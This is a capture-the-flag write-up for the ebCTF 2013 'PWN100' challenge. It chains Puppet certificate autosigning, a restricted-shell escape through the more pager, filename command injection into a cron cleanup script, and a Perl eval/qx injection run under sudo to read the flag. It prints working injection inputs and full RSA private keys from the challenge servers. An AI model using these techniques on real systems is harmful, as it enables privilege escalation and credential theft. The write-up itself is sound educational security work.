13
Oct
2013

ebCTF: PWN100 “Step by step”

We found this server with two open ports. Can you find out what these ports do and login to the server? It is advisable to use a seperate VM for this challenge.

Nmap scan report (54.216.75.14)
Host is up (0.026s latency).
PORT STATE SERVICE
22/tcp open ssh
8140/tcp open unknown

This challenge was ment to be an easy multi stage challenge, but was apparently a lot harder than intended, cause it only had 7 solves. The challenge contains three levels which require shell access. Since we didn’t want to have hundreds of logins on the system, we created an extra step to get access to the system.

The challenge description tells you that the system has two open ports. One port is ssh which requires a key to login, if you Google the other port you quickly learn it is related to Puppet. So apparently the server seems to be a Puppet configuration server. What happens if we connect a puppet client to it?

# echo "54.216.75.14 puppet" >> /etc/hosts
# puppet agent -t
info: Creating a new SSL key for xxx.xxxxx.xxx
info: Caching certificate for ca
info: Creating a new SSL certificate request for xxx.xxxxx.xxx
info: Certificate Request fingerprint (md5): CE:A5:B4:F7:F7:AA:11:7D:B4:2C:0E:5A:98:C5:E0:F1
info: Caching certificate for xxx.xxxxx.xxx
info: Caching certificate_revocation_list for ca
info: Caching catalog for xxx.xxxxx.xxx
info: Applying configuration version '1381670776'
notice: /Stage[main]//Node[default]/File[/tmp/level1.ssh.key]/ensure: defined content as '{md5}b44613eebfba0b469a64966cf33cefed'
info: Creating state file /var/lib/puppet/state/state.yaml
notice: Finished catalog run in 1.04 seconds

So puppet is autosigning our certificate and apparently install a /tmp/level1.ssh.key. How about we use this key to login as user level1?

# chmod 400 /tmp/level1.ssh.key
# ssh -i /tmp/level1.ssh.key level1@puppet
..
applicable law.

___________.__ .______.
\_ _____/|__| ____ __| _/\_ |__ _____ ________ ____ ____
| __)_ | |/ \ / __ | | __ \\__ \ \___ // __ \ / \
| \| | | \/ /_/ | | \_\ \/ __ \_/ /\ ___/| | \
/_______ /|__|___| /\____ | |___ (____ /_____ \\___ >___| /
\/ \/ \/ \/ \/ \/ \/ \/
------------------------------------------------------------------

Welcome to this server.

You'll have to pass three levels of security before you can find
the flag. The goal for level1 and level2 is to get the ssh key for
level2 and level3. The goal for level3 is to get the flag.

There are some rules you should read before you continue.

Rules:
--More-- (66%)
...
level1@pwn100:~/restricted$ ls -la
total 140
drwxr-x--- 2 root level1 4096 Jul 17 21:05 .
drwxr-x--- 4 root level1 4096 Jul 17 21:05 ..
-rwxr-x--- 1 root level1 27072 Jul 17 21:05 groups
-rwxr-x--- 1 root level1 105840 Jul 17 21:05 ls
level1@pwn100:~/restricted$ ls ..
level2.ssh.key README restricted

We are displayed with some rules, and if we push space end up in a restricted shell, which contains two binaries. We can see a level2.ssh.key in the upper directory, but since we are in a restricted shell we can’t reach it. How about we login again and try to get the key while more is displaying the readme.

!cat *key
-----BEGIN RSA PRIVATE KEY-----
MIIEoQIBAAKCAQEAzJVE+nB/26KC85anxuMIzzuimMyhw2MU0wtka1bmKqoBsmUq
unU0cwzV24O9kWsMdfokNIOVi8OqGti5gZrn5JM2F5OqYC5nnw3ul7gM8vAU+/C9
3UI3Muhdg9WT8qSvzviZlXOn2yc7kHjaBi1tI3zFQHXdMUvEJnLWRd9oEzXpO6zg
+8PICEn1YP/j1ak08HRUl7J3XiP3L2dkIDWevHfYR12B6ZFDwaFcVsJHkOoXLNev
y2Xs+pd68P3/9zVWhbuGeFnw6LpowMYmqVJFs+yjkrUImBKSIFZTP8pjKpkRn74b
UPIegWFRmLgAG0UigqaZS4zZUst52ycbRP6bxQIBIwKCAQAF2GEOeD4q2MHps9jo
bOL+m03J2fX+RKjS1HCVWkEXKW3DRLgT9LhbDv7Lwe95LvG6OljOTOcD/kawT1XB
39q9Y0qwN2tEk5yPhA4hl4tXZfH4kdmJ+pPc4hFM6NhXY8qCQZ389K0GQvMSwZ/U
SnDVINJvjlbG5OhY3rWqOZVCYJMavJUNH/p/No3Qsyawcq+IBcXELIgwNqcrBBTL
I1n9Hxr21YssVVu0QL37J7Ht1eFsicMUvin0fS9rs0W02Krj6SiFedgiLlvexcjr
nuAtzS2QAoRCp8luDwOE2aZ9hYHlwq3JawxYN6EZjVteEAyXuRqUnzFjacljQpyz
cXRvAoGBAP/5JFD4/OZEWmgS4Qr6M9kjuJxv1Sy50eETZflmsxlWpORV3aiH3mdW
reCd+RrW64wnU6GrZzoH4ixDqVIXvs9MHUgljqRWQQOxLB/keZ52L2crKCYiZ5iu
99cL+X0VTJg9M16X4DYnAoZWVTelXcbUM0fCj6TX1+RqNF0U0FAXAoGBAMyawC83
Z6JfeinFoI67x1wz8a5VxqwM2Ts6cpLzrTfKkkQyTdJSB1LGGYJiW9k1wLkurmJJ
/vaFl9Lz0iYl1yoQvbQTIr/mItWaj46OIAD6sAG3NM1Yum9lUQEKDyLsC7b47Pov
bzhKw8TED0qZtaLwJK83OXPjfQze11Gnq2CDAoGBAPFYnpV9C7SJlxGrZngQegc+
7+P0aehXbh1bbsaUB/NRsWmSya2Ha0t9nKCU8i8/quM7BbWwPMGvqVzvVoCaC62C
R36Jz6JCslPwMOreu8/rxktUk5GraP2sSMNxsLfDn/1BBIxjT74Hhgmh21G5LIhE
at1Cai21kQqQBXxVc/O9AoGAaTmkqpGFwThqtmWjB5PFnSIHQ7cVt5GUSliSsfmp
imgt9y/QQEdxewbLSl54YRRUfH5oT85InAow0uPLKY/Nvdy5VUureKI9zPBnFh01
B9Fh1P8ieDxCn7ByzVWhYmrEMjbgRicF/7Fr/ss7EGxOyNNGEPfUZ3xO8K0eR0BJ
ghcCgYAtunMw80dlpDjUPj06rhqlkBUSY/ySoL8tGaYkoZ4HqsKBHpgq5NRZKGyE
rETIUO+491yqCzF9vrlTKGI2goXR3to1aFbtQDUMfUEcv3GhXzEWX/1jkZLvy0wN
LdugJTMP8R1V+LfXaOscf4Uqp0hjDkBNng4R7vzL5PGo2EnKyg==
-----END RSA PRIVATE KEY-----------------------------

We got the key for level2. Let’s use it to login.

$ ssh -i /tmp/level2.ssh.key level2@54.205.107.35
level2@pwn100:~$ ls
clean
level2@pwn100:~$ cd clean/
level2@pwn100:~/clean$ ls
clean.log home_cleaner.sh level3.ssh.key
level2@pwn100:~/clean$ cat clean.log
CLEANING LOG
DATE: Sun Oct 13 14:14:01 UTC 2013

level2@pwn100:~/clean$ date
Sun Oct 13 14:14:32 UTC 2013
level2@pwn100:~/clean$ touch bla
level2@pwn100:~/clean$ cat clean.log
CLEANING LOG
DATE: Sun Oct 13 14:15:01 UTC 2013
Deleting file bla

If we login we see a clean directory with three files in it. We can only read clean.log, we see at the time that a script (probably home_cleaner.sh) is running and clean up some files. We can conclude about the date that the script runs every minute. The goal is to inject commands in the filename to get the key for level3.

level2@pwn100:~/clean$ touch ';cat level3.ssh.key'
level2@pwn100:~/clean$ sleep 60 ; cat clean.log
CLEANING LOG
DATE: Sun Oct 13 14:21:01 UTC 2013
Deleting file ;cat level3.ssh.key
-----BEGIN RSA PRIVATE KEY-----
MIIEoQIBAAKCAQEAws2E2EHB2fPbnu3mkxFFpCHF5nIi0BoJMdY60x3bAPWF/Gh1
Dg+k3XPAsLZ/fKBdviUppzaOi9xBJD8SCdapRA2MdIZ1XlPV2YAJ9h4yQZ+wTjPM
KpoLfpb8YtbS75WwDv7LkokmkM4OGuBVWVdVhfLHSjFsDEyuUXyvRoNyUwmnsH6t
jmPMRS9cW2be8vjlpHjhC7jo3zXS4+Osc2/Gq5eEJop9fMDo3upTySoz38367W+t
PI3t9te3FM2vbTyS0WjJsFx1kZHQV8IAmdmKfXdZuy2FdMRuDEUyJbYQq1OZZB+r
EMUWlcSaMumT6cwLLorMd/pMpoHPysLaZjHpWwIBIwKCAQAQsoe6w87Jie5A0pAb
O/6nqx+XaN5pm9TnA7vmNcJQihLMfftnmvDfyBfUoe2rmLeT9I6KrOellok9nwGL
0JIqZ4+yN2klV6SdnUKusiGQmKi2PvQ+KnYDiUjVRZ0NOLdRvhFy9dAbClj6/Ukk
6jqH0vsjndYPrs0c7W4b/KNmM+CgR/4wCZA/N0JD01783lyOx+QxFdwfWGN8EZoe
7S4veXrG/itOY6MNZnnIIZAQIhJSH0d3mihziHrkudcLEPYrck9ykMWak0A1ECG5
sULRnS66dgyHuDATg+A02tSy3uZQuUrbp1eA0P1SRDM36dLnFKbj9FX186+t0LC8
3nW7AoGBAPQCpEziMIz0a7AYJH2aw4LiiDEONQW8BL+LjxdMxm3BBNUW15S9J4jk
sSGqD7ptRZL4cg2duFa1q7dANT/N0s1swWeuSSnWUVeyGsFV2jcNNB/kklPyKdkv
IdatF+KKU/YDH6zC6+DxETbsl/TR0uYRA9vdk+JnxDTUX+us0ADTAoGBAMxf58sm
blcZ6acr9bfSEyrq1J8WL4W1fzVbhzm92j4WCWv+HZotDvGzOFAAPZNg+ueMO13W
JGn9SRC9daLI+TgUccMez5+v3+DlQGB4QJ04GW4B5J9TNblOy3kP+nyk1yRd45T1
444bLS0xNfQ2UTNAQKrhmSoJTUQKiuDIk+BZAoGBAKdSRMcBgGCnmkzdWtnJNZuU
BZ37HQs/GTLjWs4mBGiEWxXGhTLK2UftRkL4RUyis113KaLvztxfUS0zV7a5BZQt
UWuqtdOLpX32eL8WTH2FZZI2VbXn4i6GuB4tjLiZXiUJdM48hHz9Ex5ZF73RtTAL
qt/oZWgMo8x0XwgBeLAbAoGAS+kblJk+7Sbhwb/e7IE6UcTv41FiG7hxE9GJ/4EH
6yzBq8TJKqMFjPlssAAW3vgircZfMXtsnGVkSAvbPHaIc+pWI+bfZzKyPZb6p30f
UFaqXA9U6riBqzqGFwXvUt4kBjGAaoc3Q2kuCXito9mpIaompd7D3Gna3sIWU32z
RLMCgYAVPxW+S1GDrA253B7RObx5SkvVGE5L+GU5naOhcRUSCtuh/QznJLx6galV
YQzrJGU7/iIWnlTvu9cNJNSOL/S79bI5RAKua0OTXo9d1kRkkFEkPDbU7D/6F8e3
FtDLfE8r16Y0HTox0qZSp1VkrKriuaCFFMbeWeAvkcuCX6cY/g==
-----END RSA PRIVATE KEY-----

Now we can use this key to login as level3 user.


level3@pwn100:~$ ls
fancy.pl flag README

We can see three files. Let’s read the README first, which is always a good idea.


level3@pwn100:~$ cat README
Fancy.pl
- writes your name in a vertical banner

You can run it with the command:
sudo -u level4 /home/level3/fancy.pl

We are also able to read the source of this script. Let’s look at the interesting parts.


...
$name = $ARGV[0];
...
$name =~ s/[^A-Za-z0-9. ]//g;
$name =~ s/(eval|system|exec|open)//g;
$name =~ /(^.{1,20})/;
my $a = eval "return q q".$1."q";
$a && print convert($a);

So everything other than A-Za-z0-9, dot and space are removed from the input, also commands like eval, system, exec and open are removed from the input. And the script only uses the first 20 characters of the input to convert. The interesting part is ofcourse the eval part, where our stripped input is used.

So what does the q command means in perl?

q/STRING/
‘STRING’
A single-quoted, literal string. A backslash represents a
backslash unless followed by the delimiter or another backslash, in
which case the delimiter or backslash is interpolated.

So the code sets our input between single quotes and uses the q character to mark the start and end of the string. So we can insert perl code if we escape it with another q. See underneath table how we can insert perl code into it. The getc functions indeeds wait for input and uses that input to create a banner.

input          code                          simplified
""             q qq                          ''
"asby"         q qasbyq                      'asby'
"q.getc.q q"   q qq.getc.q qq                ''.getc.''

The goal is to read the flag file. Which is a difficult task without system commands like eval, system, open and exec, shorter than 20 chars and only using A-Za-z0-9, space and dot. But besides the q command there is also a qx command which can be very useful.

qx/STRING/
`STRING`

A string which is (possibly) interpolated and then executed as a system command with /bin/sh or its equivalent. Shell wildcards, pipes, and redirections will be honored. The collected standard output of the command is returned; standard error is unaffected. In scalar context, it comes back as a single (potentially multi-line) string, or undef if the command failed. In list context, returns a list of lines (however you’ve defined lines with $/ or $INPUT_RECORD_SEPARATOR), or an empty list if the command failed.

If we combine this qx operator with the way we can do command injection we can get the flag with the following input:


level3@pwn100:~$ sudo -u level4 /home/level3/fancy.pl 'q.qx qcat flagq.q q'

 ##### 
#  #  #
 # ### 
       
#######
#  #   
####   
       
#######
#     #
#     #
       
      #
#######
      #
       
#######
   #  #
   #  #
       
   #   
 ##### 
#     #
       
 ## ## 
#  #  #
 ## ## 
       
#    # 
#######
#      
       
 ###   
#   #  
#   #  
       
####   
#  #   
#######
       
###### 
   #  #
       
 ###   
#   #  
#   #  
       
 ##### 
#  #  #
 ##   #
       
#    # 
#######
#      
       
### #  
# # #  
#####  
       
 ## ## 
#  #  #
 ## ## 
       
###### 
   #  #
       
#     #
#  #  #
 ## ## 
       
#  ####
#  #  #
 ##   #
       
####   
#  #   
#######
       
#######
#  #   
####   
       
 ## ## 
#  #  #
 ## ## 
       
#   ## 
#  #  #
 ## ## 
       
### #  
# # #  
#####  
       
 ##### 
#  #  #
 ##   #
       
###### 
   #  #
       
 ##### 
#  #  #
 # ### 
       
#    # 
#######
#      
       
 ###   
#   #  
#   #  
       
#   ## 
#  #  #
 ## ## 
       
  ##   
  # ## 
#######
       
 ###   
#   #  
#   #  
       
 ##### 
#     #
 ##### 
       
      #
###   #
   ####
       
#    # 
#######
#      
       
##   # 
# #   #
#  ### 
       
##   # 
# #   #
#  ### 
       
  ##   
  # ## 
#######
       
#     #
 ##### 
   #   

And we can read the flag from top the bottom: ebCTF{81cdfc61a8f35db89a6fe1c94c071224}

Source can be found on: https://github.com/asby/ebctf

Comments are closed.